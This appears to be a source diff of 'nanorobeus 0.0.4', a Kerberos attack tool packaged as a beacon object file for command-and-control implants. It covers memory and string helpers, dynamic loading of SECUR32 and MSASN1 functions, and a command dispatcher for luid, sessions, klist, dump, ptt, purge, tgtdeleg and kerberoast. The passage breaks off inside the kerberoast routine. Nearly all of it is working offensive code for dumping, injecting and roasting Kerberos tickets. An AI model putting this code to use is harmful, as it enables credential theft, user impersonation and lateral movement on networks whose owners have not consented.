}
void *_memset(void *dst, int c, size_t n)
{
typedef uint64_t DECLSPEC_ALIGN(1) unaligned_ui64;
typedef uint32_t DECLSPEC_ALIGN(1) unaligned_ui32;
typedef uint16_t DECLSPEC_ALIGN(1) unaligned_ui16;
uint64_t v = 0x101010101010101ull * (unsigned char)c;
unsigned char *d = (unsigned char *)dst;
size_t a = 0x20 - ((uintptr_t)d & 0x1f);
if (n >= 16)
{
*(unaligned_ui64 *)(d + 0) = v;
*(unaligned_ui64 *)(d + 8) = v;
*(unaligned_ui64 *)(d + n - 16) = v;
*(unaligned_ui64 *)(d + n - 8) = v;
if (n <= 32)
return dst;
*(unaligned_ui64 *)(d + 16) = v;
*(unaligned_ui64 *)(d + 24) = v;
*(unaligned_ui64 *)(d + n - 32) = v;
*(unaligned_ui64 *)(d + n - 24) = v;
if (n <= 64)
return dst;
n = (n - a) & ~0x1f;
_memset_aligned_32(d + a, v, n);
return dst;
}
if (n >= 8)
{
*(unaligned_ui64 *)d = v;
*(unaligned_ui64 *)(d + n - 8) = v;
return dst;
}
if (n >= 4)
{
*(unaligned_ui32 *)d = v;
*(unaligned_ui32 *)(d + n - 4) = v;
return dst;
}
if (n >= 2)
{
*(unaligned_ui16 *)d = v;
*(unaligned_ui16 *)(d + n - 2) = v;
return dst;
}
if (n >= 1)
{
*(uint8_t *)d = v;
return dst;
}
return dst;
}
/*
* NTDLL wide-char functions
*
@@ -312,13 +429,136 @@ int _memcmp(const void *ptr1, const void *ptr2, size_t n) {
* Copyright 2003 Thomas Mertes
*/
unsigned int _wcslen(LPCWSTR str) {
unsigned int _wcslen(LPCWSTR str)
{
const WCHAR *s = str;
while (*s) s++;
while (*s)
s++;
return s - str;
}
int _wcscmp(LPCWSTR str1, LPCWSTR str2) {
while (*str1 && (*str1 == *str2)) { str1++; str2++; }
int _wcscmp(LPCWSTR str1, LPCWSTR str2)
{
while (*str1 && (*str1 == *str2))
{
str1++;
str2++;
}
return *str1 - *str2;
}
}
HRESULT __stdcall _StringCchPrintfExA(STRSAFE_LPSTR pszDest, size_t cchDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, ...)
{
HRESULT hr;
va_list argList;
if (cchDest > STRSAFE_MAX_CCH)
return STRSAFE_E_INVALID_PARAMETER;
va_start(argList, pszFormat);
hr = _StringVPrintfExWorkerA(pszDest, cchDest, cchDest, ppszDestEnd, pcchRemaining, dwFlags, pszFormat, argList);
va_end(argList);
return hr;
}
HRESULT __stdcall _StringVPrintfExWorkerA(STRSAFE_LPSTR pszDest, size_t cchDest, size_t cbDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, va_list argList)
{
HRESULT hr = S_OK;
STRSAFE_LPSTR pszDestEnd = pszDest;
size_t cchRemaining = 0;
if (dwFlags & (~STRSAFE_VALID_FLAGS))
hr = STRSAFE_E_INVALID_PARAMETER;
else
{
if (dwFlags & STRSAFE_IGNORE_NULLS)
{
if (!pszDest)
{
if ((cchDest != 0) || (cbDest != 0))
hr = STRSAFE_E_INVALID_PARAMETER;
}
if (!pszFormat)
pszFormat = "";
}
if (SUCCEEDED(hr))
{
if (cchDest == 0)
{
pszDestEnd = pszDest;
cchRemaining = 0;
if (*pszFormat != '\0')
{
if (!pszDest)
hr = STRSAFE_E_INVALID_PARAMETER;
else
hr = STRSAFE_E_INSUFFICIENT_BUFFER;
}
}
else
{
int iRet;
size_t cchMax;
cchMax = cchDest - 1;
iRet = MSVCRT$_vsnprintf(pszDest, cchMax, pszFormat, argList);
if ((iRet < 0) || (((size_t)iRet) > cchMax))
{
pszDestEnd = pszDest + cchMax;
cchRemaining = 1;
*pszDestEnd = '\0';
hr = STRSAFE_E_INSUFFICIENT_BUFFER;
}
else if (((size_t)iRet) == cchMax)
{
pszDestEnd = pszDest + cchMax;
cchRemaining = 1;
*pszDestEnd = '\0';
}
else if (((size_t)iRet) < cchMax)
{
pszDestEnd = pszDest + iRet;
cchRemaining = cchDest - iRet;
if (dwFlags & STRSAFE_FILL_BEHIND_NULL)
{
_memset(pszDestEnd + 1, STRSAFE_GET_FILL_PATTERN(dwFlags), ((cchRemaining - 1) * sizeof(char)) + (cbDest % sizeof(char)));
}
}
}
}
}
if (FAILED(hr))
{
if (pszDest)
{
if (dwFlags & STRSAFE_FILL_ON_FAILURE)
{
_memset(pszDest, STRSAFE_GET_FILL_PATTERN(dwFlags), cbDest);
if (STRSAFE_GET_FILL_PATTERN(dwFlags) == 0)
{
pszDestEnd = pszDest;
cchRemaining = cchDest;
}
else if (cchDest > 0)
{
pszDestEnd = pszDest + cchDest - 1;
cchRemaining = 1;
*pszDestEnd = '\0';
}
}
if (dwFlags & (STRSAFE_NULL_ON_FAILURE | STRSAFE_NO_TRUNCATION))
{
if (cchDest > 0)
{
pszDestEnd = pszDest;
cchRemaining = cchDest;
*pszDestEnd = '\0';
}
}
}
}
if (SUCCEEDED(hr) || (hr == STRSAFE_E_INSUFFICIENT_BUFFER))
{
if (ppszDestEnd)
*ppszDestEnd = pszDestEnd;
if (pcchRemaining)
*pcchRemaining = cchRemaining;
}
return hr;
}
+159
View File
@@ -0,0 +1,159 @@
#include <windows.h>
#include "bofdefs.h"
// From TrustedSec's CS-Situational-Awareness-BOF
typedef struct LoadedLibrary
{
HMODULE hMod;
const char *name;
} LoadedLibrary, *PLoadedLibrary;
LoadedLibrary loadedLibraries[2] __attribute__((section(".data"))) = {0};
DWORD loadedLibrariesCount __attribute__((section(".data"))) = 0;
FARPROC DynamicLoad(const char *library, const char *function)
{
FARPROC fp = NULL;
HMODULE hMod = NULL;
DWORD i = 0;
DWORD liblen = 0;
for (i = 0; i < loadedLibrariesCount; i++)
{
if (_strcmp(library, loadedLibraries[i].name) == 0)
{
hMod = loadedLibraries[i].hMod;
}
}
if (!hMod)
{
hMod = LoadLibraryA(library);
if (!hMod)
{
PRINT(NULL, "[!] Could not find library %s to load.\n", library);
return NULL;
}
loadedLibraries[loadedLibrariesCount].hMod = hMod;
loadedLibraries[loadedLibrariesCount].name = library;
loadedLibrariesCount++;
}
fp = GetProcAddress(hMod, function);
if (NULL == fp)
{
PRINT(NULL, "[!] Could not find function %s.\n", function);
}
return fp;
}
// secur32
typedef NTSTATUS(WINAPI *_LsaGetLogonSessionData)(PLUID LogonId, PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);
typedef NTSTATUS(WINAPI *_LsaFreeReturnBuffer)(PVOID Buffer);
typedef NTSTATUS(WINAPI *_LsaEnumerateLogonSessions)(PULONG LogonSessionCount, PLUID *LogonSessionList);
typedef NTSTATUS(WINAPI *_LsaRegisterLogonProcess)(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode);
typedef NTSTATUS(WINAPI *_LsaLookupAuthenticationPackage)(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage);
typedef NTSTATUS(WINAPI *_LsaCallAuthenticationPackage)(HANDLE LsaHandle, ULONG AuthenticationPackage,
PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
PVOID *ProtocolReturnBuffer, PULONG ReturnBufferLength,
PNTSTATUS ProtocolStatus);
typedef NTSTATUS(WINAPI *_LsaDeregisterLogonProcess)(HANDLE LsaHandle);
typedef NTSTATUS(WINAPI *_LsaConnectUntrusted)(PHANDLE LsaHandle);
typedef SECURITY_STATUS(WINAPI *_AcquireCredentialsHandleA)(SEC_CHAR *pszPrincipal, SEC_CHAR *pszPackage,
unsigned __LONG32 fCredentialUse, void *pvLogonId,
void *pAuthData, SEC_GET_KEY_FN pGetKeyFn,
void *pvGetKeyArgument, PCredHandle phCredential,
PTimeStamp ptsExpiry);
typedef SECURITY_STATUS(WINAPI *_InitializeSecurityContextA)(
PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned __LONG32 fContextReq,
unsigned __LONG32 Reserved1, unsigned __LONG32 TargetDataRep, PSecBufferDesc pInput, unsigned __LONG32 Reserved2,
PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32 *pfContextAttr, PTimeStamp ptsExpiry);
typedef SECURITY_STATUS(WINAPI *_FreeContextBuffer)(void *pvContextBuffer);
typedef SECURITY_STATUS(WINAPI *_DeleteSecurityContext)(PCtxtHandle phContext);
typedef SECURITY_STATUS(WINAPI *_FreeCredentialsHandle)(PCredHandle phCredential);
#define SECUR32$LsaGetLogonSessionData ((_LsaGetLogonSessionData)DynamicLoad("SECUR32", "LsaGetLogonSessionData"))
#define SECUR32$LsaFreeReturnBuffer ((_LsaFreeReturnBuffer)DynamicLoad("SECUR32", "LsaFreeReturnBuffer"))
#define SECUR32$LsaEnumerateLogonSessions ((_LsaEnumerateLogonSessions)DynamicLoad("SECUR32", "LsaEnumerateLogonSessions"))
#define SECUR32$LsaRegisterLogonProcess ((_LsaRegisterLogonProcess)DynamicLoad("SECUR32", "LsaRegisterLogonProcess"))
#define SECUR32$LsaLookupAuthenticationPackage ((_LsaLookupAuthenticationPackage)DynamicLoad("SECUR32", "LsaLookupAuthenticationPackage"))
#define SECUR32$LsaCallAuthenticationPackage ((_LsaCallAuthenticationPackage)DynamicLoad("SECUR32", "LsaCallAuthenticationPackage"))
#define SECUR32$LsaDeregisterLogonProcess ((_LsaDeregisterLogonProcess)DynamicLoad("SECUR32", "LsaDeregisterLogonProcess"))
#define SECUR32$LsaConnectUntrusted ((_LsaConnectUntrusted)DynamicLoad("SECUR32", "LsaConnectUntrusted"))
#define SECUR32$AcquireCredentialsHandleA ((_AcquireCredentialsHandleA)DynamicLoad("SECUR32", "AcquireCredentialsHandleA"))
#define SECUR32$InitializeSecurityContextA ((_InitializeSecurityContextA)DynamicLoad("SECUR32", "InitializeSecurityContextA"))
#define SECUR32$FreeContextBuffer ((_FreeContextBuffer)DynamicLoad("SECUR32", "FreeContextBuffer"))
#define SECUR32$DeleteSecurityContext ((_DeleteSecurityContext)DynamicLoad("SECUR32", "DeleteSecurityContext"))
#define SECUR32$FreeCredentialsHandle ((_FreeCredentialsHandle)DynamicLoad("SECUR32", "FreeCredentialsHandle"))
// msasn1
typedef ASN1module_t(ASN1API *_ASN1_CreateModule)(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, ASN1uint32_t dwFlags,
ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[],
const ASN1GenericFun_t apfnDecoder[],
const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[],
ASN1magic_t nModuleName);
typedef void(ASN1API *_ASN1_CloseModule)(ASN1module_t pModule);
typedef ASN1error_e(ASN1API *_ASN1_CreateEncoder)(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, ASN1octet_t *pbBuf,
ASN1uint32_t cbBufSize, ASN1encoding_t pParent);
typedef ASN1error_e(ASN1API *_ASN1_Encode)(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum,
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
typedef void(ASN1API *_ASN1_CloseEncoder)(ASN1encoding_t pEncoderInfo);
typedef void(ASN1API *_ASN1_FreeEncoded)(ASN1encoding_t pEncoderInfo, void *pBuf);
typedef ASN1error_e(ASN1API *_ASN1_CreateDecoder)(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, ASN1octet_t *pbBuf,
ASN1uint32_t cbBufSize, ASN1decoding_t pParent);
typedef ASN1error_e(ASN1API *_ASN1_Decode)(ASN1decoding_t pDecoderInfo, void **ppDataStruct, ASN1uint32_t nPduNum,
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
typedef void(ASN1API *_ASN1_CloseDecoder)(ASN1decoding_t pDecoderInfo);
typedef void(ASN1API *_ASN1_FreeDecoded)(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum);
typedef void(ASN1API *_ASN1bitstring_free)(ASN1bitstring_t *);
typedef void(ASN1API *_ASN1ztcharstring_free)(ASN1ztcharstring_t);
typedef void(ASN1API *_ASN1octetstring_free)(ASN1octetstring_t *);
typedef void(ASN1API *_ASN1intx_free)(ASN1intx_t *);
typedef int(ASN1API *_ASN1BERDecExplicitTag)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, ASN1octet_t **di);
typedef int(ASN1API *_ASN1BERDecS32Val)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *);
typedef int(ASN1API *_ASN1BERDecEndOfContents)(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di);
typedef int(ASN1API *_ASN1BERDecBitString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *);
typedef int(ASN1API *_ASN1BERDecZeroCharString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *);
typedef int(ASN1API *_ASN1BERDecPeekTag)(ASN1decoding_t dec, ASN1uint32_t *tag);
typedef int(ASN1API *_ASN1BERDecOctetString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val);
typedef int(ASN1API *_ASN1BERDecNotEndOfContents)(ASN1decoding_t dec, ASN1octet_t *di);
typedef void *(ASN1API *_ASN1DecAlloc)(ASN1decoding_t dec, ASN1uint32_t size);
typedef void *(ASN1API *_ASN1DecRealloc)(ASN1decoding_t dec, void *ptr, ASN1uint32_t size);
typedef void(ASN1API *_ASN1Free)(void *ptr);
typedef int(ASN1API *_ASN1BERDecGeneralizedTime)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *);
typedef int(ASN1API *_ASN1BERDecSXVal)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *);
typedef int(ASN1API *_ASN1BEREncExplicitTag)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset);
typedef int(ASN1API *_ASN1BEREncS32)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t);
typedef int(ASN1API *_ASN1BEREncEndOfContents)(ASN1encoding_t enc, ASN1uint32_t LengthOffset);
typedef int(ASN1API *_ASN1DEREncCharString)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t *val);
typedef int(ASN1API *_ASN1DEREncOctetString)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t *val);
#define MSASN1$ASN1_CreateModule ((_ASN1_CreateModule)DynamicLoad("MSASN1", "ASN1_CreateModule"))
#define MSASN1$ASN1_CloseModule ((_ASN1_CloseModule)DynamicLoad("MSASN1", "ASN1_CloseModule"))
#define MSASN1$ASN1_CreateEncoder ((_ASN1_CreateEncoder)DynamicLoad("MSASN1", "ASN1_CreateEncoder"))
#define MSASN1$ASN1_Encode ((_ASN1_Encode)DynamicLoad("MSASN1", "ASN1_Encode"))
#define MSASN1$ASN1_CloseEncoder ((_ASN1_CloseEncoder)DynamicLoad("MSASN1", "ASN1_CloseEncoder"))
#define MSASN1$ASN1_FreeEncoded ((_ASN1_FreeEncoded)DynamicLoad("MSASN1", "ASN1_FreeEncoded"))
#define MSASN1$ASN1_CreateDecoder ((_ASN1_CreateDecoder)DynamicLoad("MSASN1", "ASN1_CreateDecoder"))
#define MSASN1$ASN1_Decode ((_ASN1_Decode)DynamicLoad("MSASN1", "ASN1_Decode"))
#define MSASN1$ASN1_CloseDecoder ((_ASN1_CloseDecoder)DynamicLoad("MSASN1", "ASN1_CloseDecoder"))
#define MSASN1$ASN1_FreeDecoded ((_ASN1_FreeDecoded)DynamicLoad("MSASN1", "ASN1_FreeDecoded"))
#define MSASN1$ASN1bitstring_free ((_ASN1bitstring_free)DynamicLoad("MSASN1", "ASN1bitstring_free"))
#define MSASN1$ASN1ztcharstring_free ((_ASN1ztcharstring_free)DynamicLoad("MSASN1", "ASN1ztcharstring_free"))
#define MSASN1$ASN1octetstring_free ((_ASN1octetstring_free)DynamicLoad("MSASN1", "ASN1octetstring_free"))
#define MSASN1$ASN1intx_free ((_ASN1intx_free)DynamicLoad("MSASN1", "ASN1intx_free"))
#define MSASN1$ASN1BERDecExplicitTag ((_ASN1BERDecExplicitTag)DynamicLoad("MSASN1", "ASN1BERDecExplicitTag"))
#define MSASN1$ASN1BERDecS32Val ((_ASN1BERDecS32Val)DynamicLoad("MSASN1", "ASN1BERDecS32Val"))
#define MSASN1$ASN1BERDecEndOfContents ((_ASN1BERDecEndOfContents)DynamicLoad("MSASN1", "ASN1BERDecEndOfContents"))
#define MSASN1$ASN1BERDecBitString ((_ASN1BERDecBitString)DynamicLoad("MSASN1", "ASN1BERDecBitString"))
#define MSASN1$ASN1BERDecZeroCharString ((_ASN1BERDecZeroCharString)DynamicLoad("MSASN1", "ASN1BERDecZeroCharString"))
#define MSASN1$ASN1BERDecPeekTag ((_ASN1BERDecPeekTag)DynamicLoad("MSASN1", "ASN1BERDecPeekTag"))
#define MSASN1$ASN1BERDecOctetString ((_ASN1BERDecOctetString)DynamicLoad("MSASN1", "ASN1BERDecOctetString"))
#define MSASN1$ASN1BERDecNotEndOfContents ((_ASN1BERDecNotEndOfContents)DynamicLoad("MSASN1", "ASN1BERDecNotEndOfContents"))
#define MSASN1$ASN1DecAlloc ((_ASN1DecAlloc)DynamicLoad("MSASN1", "ASN1DecAlloc"))
#define MSASN1$ASN1DecRealloc ((_ASN1DecRealloc)DynamicLoad("MSASN1", "ASN1DecRealloc"))
#define MSASN1$ASN1Free ((_ASN1Free)DynamicLoad("MSASN1", "ASN1Free"))
#define MSASN1$ASN1BERDecGeneralizedTime ((_ASN1BERDecGeneralizedTime)DynamicLoad("MSASN1", "ASN1BERDecGeneralizedTime"))
#define MSASN1$ASN1BERDecSXVal ((_ASN1BERDecSXVal)DynamicLoad("MSASN1", "ASN1BERDecSXVal"))
#define MSASN1$ASN1BEREncExplicitTag ((_ASN1BEREncExplicitTag)DynamicLoad("MSASN1", "ASN1BEREncExplicitTag"))
#define MSASN1$ASN1BEREncS32 ((_ASN1BEREncS32)DynamicLoad("MSASN1", "ASN1BEREncS32"))
#define MSASN1$ASN1DEREncCharString ((_ASN1DEREncCharString)DynamicLoad("MSASN1", "ASN1DEREncCharString"))
#define MSASN1$ASN1DEREncOctetString ((_ASN1DEREncOctetString)DynamicLoad("MSASN1", "ASN1DEREncOctetString"))
#define MSASN1$ASN1BEREncEndOfContents ((_ASN1BEREncEndOfContents)DynamicLoad("MSASN1", "ASN1BEREncEndOfContents"))
+194 -177
View File
@@ -1,9 +1,11 @@
#include <windows.h>
#include <stdio.h>
#include "beacon.h"
#include "bofdefs.h"
#if defined(BOF) || defined(BRC4)
#ifdef CS_BOF
#include "compat.c"
#endif
#include "common.c"
#include "luid.c"
#include "sessions.c"
@@ -27,221 +29,236 @@
#include "kerberoast.h"
#endif
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4);
void execute(WCHAR **dispatch, char *command, int argc, char *argv[]);
#ifdef BOF
void go(char* args, int length) {
void go(char *args, int length)
{
datap parser;
BeaconDataParse(&parser, args, length);
char* command = BeaconDataExtract(&parser, NULL);
if (command == NULL) {
char *command = BeaconDataExtract(&parser, NULL);
if (command == NULL)
{
command = "";
}
char* arg1 = BeaconDataExtract(&parser, NULL);
if (arg1 == NULL) {
arg1 = "";
char **argv = MSVCRT$calloc(5, sizeof(char *));
int argc = 5;
for (int i = 0; i < argc; i++)
{
char *arg = BeaconDataExtract(&parser, NULL);
if (arg == NULL)
{
arg = "";
}
argv[i] = arg;
}
char* arg2 = BeaconDataExtract(&parser, NULL);
if (arg2 == NULL) {
arg2 = "";
}
char* arg3 = BeaconDataExtract(&parser, NULL);
if (arg3 == NULL) {
arg3 = "";
}
char* arg4 = BeaconDataExtract(&parser, NULL);
if (arg4 == NULL) {
arg4 = "";
}
execute(NULL, command, arg1, arg2, arg3, arg4);
execute(NULL, command, argc, argv);
}
#elif BRC4
void coffee(char** argv, int argc, WCHAR** dispatch) {
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
if (argc >= 1) {
command = argv[0];
void coffee(char **argv, int argc, WCHAR **dispatch)
{
if (argc >= 1)
{
char *command = "";
if (argc >= 1)
{
command = argv[0];
}
execute(dispatch, command, argc - 1, argv + 1);
}
if (argc >= 2) {
arg1 = argv[1];
}
if (argc >= 3) {
arg2 = argv[2];
}
if (argc >= 4) {
arg3 = argv[3];
}
if (argc >= 5) {
arg4 = argv[4];
}
execute(dispatch, command, arg1, arg2, arg3, arg4);
}
#else
int main(int argc, char* argv[]) {
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
if (argc >= 2) {
command = argv[1];
int main(int argc, char *argv[])
{
if (argc >= 2)
{
char *command = "";
if (argc >= 2)
{
command = argv[1];
}
execute(NULL, command, argc - 2, argv + 2);
}
if (argc >= 3) {
arg1 = argv[2];
}
if (argc >= 4) {
arg2 = argv[3];
}
if (argc >= 5) {
arg3 = argv[4];
}
if (argc >= 6) {
arg4 = argv[5];
}
execute(NULL, command, arg1, arg2, arg3, arg4);
return 0;
}
#endif
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4) {
if (_strcmp(command, "") == 0) {
PRINT(dispatch, "[!] Specify command.\n");
return;
void execute(WCHAR **dispatch, char *command, int argc, char *argv[])
{
LUID *luid = NULL;
BOOL currentLuid = FALSE;
char *spn = NULL;
char *ticket = NULL;
for (int i = 0; i < argc; i++)
{
char *arg = MSVCRT$calloc(_strlen(argv[i]) + 1, sizeof(char));
if (arg == NULL)
{
PRINT(dispatch, "[!] Couldn't allocate memory.\n");
return;
}
_strcpy(arg, argv[i]);
char *argValue = _strstr(arg, ":");
if (argValue != NULL)
{
*argValue = '\0';
argValue++;
}
if (_strcmp(arg, "/luid") == 0 && argValue != NULL && luid == NULL)
{
luid = MSVCRT$calloc(1, sizeof(LUID));
luid->HighPart = 0;
luid->LowPart = MSVCRT$strtol(argValue, NULL, 16);
if (luid->LowPart <= 0)
{
MSVCRT$free(arg);
PRINT(dispatch, "[!] Invalid LUID value.");
return;
}
}
else if (_strcmp(arg, "/all") == 0 && luid == NULL)
{
luid = MSVCRT$calloc(1, sizeof(LUID));
luid->HighPart = 0;
luid->LowPart = 0;
currentLuid = FALSE;
}
else if (_strcmp(arg, "/spn") == 0 && argValue != NULL)
{
spn = MSVCRT$calloc(_strlen(argValue) + 1, sizeof(char));
_strcpy(spn, argValue);
}
else if (_strcmp(arg, "/ticket") == 0 && argValue != NULL)
{
ticket = MSVCRT$calloc(_strlen(argValue) + 1, sizeof(char));
_strcpy(ticket, argValue);
}
MSVCRT$free(arg);
}
LUID luid = (LUID){.HighPart = 0, .LowPart = 0};
BOOL currentLuid = FALSE;
if (_strcmp(command, "luid") == 0) {
if (_strcmp(command, "luid") == 0)
{
execute_luid(dispatch);
} else if ((_strcmp(command, "sessions") == 0) || (_strcmp(command, "klist") == 0) ||
(_strcmp(command, "dump") == 0)) {
if (_strcmp(arg1, "") != 0) {
if (_strcmp(arg1, "/luid") == 0) {
if (_strcmp(arg2, "") != 0) {
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
PRINT(dispatch, "[!] Specify valid /luid\n");
return;
}
} else {
PRINT(dispatch, "[!] Specify /luid argument\n");
return;
}
} else if (_strcmp(arg1, "/all") == 0) {
luid = (LUID){.HighPart = 0, .LowPart = 0};
} else {
PRINT(dispatch, "[!] Unknown command\n");
return;
}
} else {
LUID* cLuid = GetCurrentLUID();
if (cLuid == NULL) {
}
else if (
_strcmp(command, "sessions") == 0 ||
_strcmp(command, "klist") == 0 ||
_strcmp(command, "dump") == 0 ||
_strcmp(command, "purge") == 0)
{
if (luid == NULL)
{
luid = GetCurrentLUID();
if (luid == NULL)
{
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
goto out;
}
luid.HighPart = cLuid->HighPart;
luid.LowPart = cLuid->LowPart;
currentLuid = TRUE;
MSVCRT$free(cLuid);
}
if (_strcmp(command, "sessions") == 0) {
execute_sessions(dispatch, luid, currentLuid);
} else if (_strcmp(command, "klist") == 0) {
execute_klist(dispatch, luid, currentLuid, FALSE);
} else {
execute_klist(dispatch, luid, currentLuid, TRUE);
if (_strcmp(command, "sessions") == 0)
{
execute_sessions(dispatch, *luid, currentLuid);
}
} else if (_strcmp(command, "ptt") == 0) {
char* ticket;
if (_strcmp(arg1, "") != 0) {
ticket = arg1;
if (_strcmp(arg2, "") != 0) {
if (_strcmp(arg2, "/luid") == 0) {
if (_strcmp(arg3, "") != 0) {
luid.LowPart = MSVCRT$strtol(arg3, NULL, 16);
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
PRINT(dispatch, "[!] Specify valid /luid\n");
return;
}
}
}
} else {
LUID* cLuid = GetCurrentLUID();
if (cLuid == NULL) {
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
}
luid.HighPart = cLuid->HighPart;
luid.LowPart = cLuid->LowPart;
currentLuid = TRUE;
MSVCRT$free(cLuid);
}
execute_ptt(dispatch, ticket, luid, currentLuid);
} else {
PRINT(dispatch, "[!] Specify Base64 encoded ticket\n");
return;
else if (_strcmp(command, "klist") == 0)
{
execute_klist(dispatch, *luid, currentLuid, FALSE);
}
} else if (_strcmp(command, "purge") == 0) {
if (_strcmp(arg1, "") != 0) {
if (_strcmp(arg1, "/luid") == 0) {
if (_strcmp(arg2, "") != 0) {
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
PRINT(dispatch, "[!] Specify valid /luid\n");
return;
}
} else {
PRINT(dispatch, "[!] Specify /luid argument\n");
return;
}
} else {
PRINT(dispatch, "[!] Unknown command\n");
return;
}
} else {
LUID* cLuid = GetCurrentLUID();
if (cLuid == NULL) {
else if (_strcmp(command, "dump") == 0)
{
execute_klist(dispatch, *luid, currentLuid, TRUE);
}
else
{
execute_purge(dispatch, *luid, currentLuid);
}
}
else if (_strcmp(command, "ptt") == 0)
{
if (ticket == NULL)
{
PRINT(dispatch, "[!] Provide /ticket:<base64>.\n");
goto out;
}
if (luid == NULL)
{
luid = GetCurrentLUID();
if (luid == NULL)
{
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
goto out;
}
luid.HighPart = cLuid->HighPart;
luid.LowPart = cLuid->LowPart;
currentLuid = TRUE;
MSVCRT$free(cLuid);
}
execute_purge(dispatch, luid, currentLuid);
} else if (_strcmp(command, "tgtdeleg") == 0) {
char* spn = NULL;
if (_strcmp(arg1, "") != 0) {
spn = arg1;
} else {
PRINT(dispatch, "[!] Specify SPN\n");
return;
execute_ptt(dispatch, ticket, *luid, currentLuid);
}
else if (
_strcmp(command, "tgtdeleg") == 0 ||
_strcmp(command, "kerberoast") == 0)
{
if (spn == NULL)
{
PRINT(dispatch, "[!] Specify /spn:<spn>.");
goto out;
}
execute_tgtdeleg(dispatch, spn);
} else if (_strcmp(command, "kerberoast") == 0) {
char* spn = NULL;
if (_strcmp(arg1, "") != 0) {
spn = arg1;
} else {
PRINT(dispatch, "[!] Specify SPN\n");
return;
if (_strcmp(command, "tgtdeleg") == 0)
{
execute_tgtdeleg(dispatch, spn);
}
execute_kerberoast(dispatch, spn);
} else if (_strcmp(command, "help") == 0) {
PRINT(dispatch, "[*] nanorobeus 0.0.4\n[*] Command list:\n");
PRINT(dispatch, "\tluid\n");
PRINT(dispatch, "\tsessions [/luid <0x0> | /all]\n");
PRINT(dispatch, "\tklist [/luid <0x0> | /all]\n");
PRINT(dispatch, "\tdump [/luid <0x0> | /all]\n");
PRINT(dispatch, "\tptt <BASE64> [/luid <0x0>]\n");
PRINT(dispatch, "\tpurge [/luid <0x0>]\n");
PRINT(dispatch, "\ttgtdeleg <SPN>\n");
PRINT(dispatch, "\tkerberoast <SPN>\n");
} else {
else
{
execute_kerberoast(dispatch, spn);
}
}
else if (_strcmp(command, "help") == 0)
{
char *help =
"[*] nanorobeus 0.0.4\n"
"[*] Command list:\n"
"\tluid\n"
"\tsessions [/luid:<0x0> | /all]\n"
"\tklist [/luid:<0x0> | /all]\n"
"\tdump [/luid:<0x0> | /all]\n"
"\tptt /ticket:<BASE64> [/luid:<0x0>]\n"
"\tpurge [/luid:<0x0>]\n"
"\ttgtdeleg /spn:<SPN>\n"
"\tkerberoast /spn:<SPN>\n";
PRINT(dispatch, help);
}
else
{
PRINT(dispatch, "[!] Unknown command.\n");
}
out:
if (luid != NULL)
{
MSVCRT$free(luid);
}
if (spn != NULL)
{
MSVCRT$free(spn);
}
if (ticket != NULL)
{
MSVCRT$free(ticket);
}
}
+92 -31
View File
@@ -1,66 +1,127 @@
#include "kerberoast.h"
#include "tgtdeleg.h"
void execute_kerberoast(WCHAR** dispatch, char* spn) {
void execute_kerberoast(WCHAR **dispatch, char *spn)
{
PUCHAR apreq;
ULONG apreqSize;
PRINT(dispatch, "[*] Target SPN: %s\n", spn);
LONG status = RequestApReq(spn, &apreq, &apreqSize, FALSE);
if (status == 0) {
if (status == 0)
{
PBYTE tokID = SearchOID(apreq, apreqSize);
if (*(PUSHORT)tokID == 0x0001) {
if (*(PUSHORT)tokID == 0x0001)
{
PKERB_AP_REQUEST apRequest;
KERBERR kerbError;
apreqSize -= (LONG)(tokID - (PBYTE)apreq);
ASN1module_t module = KRB5_Module_Startup();
